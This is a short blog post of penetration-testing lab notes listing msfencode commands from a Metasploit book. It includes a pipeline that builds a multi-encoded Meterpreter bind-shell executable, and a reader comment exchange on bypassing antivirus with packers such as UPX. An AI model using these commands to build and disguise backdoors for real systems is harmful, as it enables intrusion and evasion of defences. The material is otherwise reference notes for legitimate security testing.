MSFencode Commands

13 Oct

msfencode -h

Display the help file of msfencode

msfencode -l

Lists the available encoders

msfencode -t (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho)

Format to display the encoded buffer

msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe

Uses the shikata_ga_nai encoder to encode the payload.raw 5 times and exports it to a file called encoded_payload.exe

msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/_countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded_payload.exe

Creation of a multi-encoded payload

msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c

Create pure alphanumeric shellcode where ESI points to the shellcode;output in C-style notation


From the book Metasploit – The Penetration Testers Guide


Posted by on October 13, 2012 in General Lab Notes


Tags: , ,

4 responses to “MSFencode Commands

  1. User

    October 14, 2012 at 7:43 am

    Thank you for these tutorials…

  2. User

    October 21, 2012 at 10:11 am

    I become addict to u r website ,

  3. Ayman

    October 30, 2012 at 1:28 pm

    stiil this would be deticted by most anti-viruses. What other encoding tools do suggest to bypass anti-viruses?

  4. netbiosX

    October 30, 2012 at 2:24 pm

    I suggest also the use of packers like UPX for your executable.


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: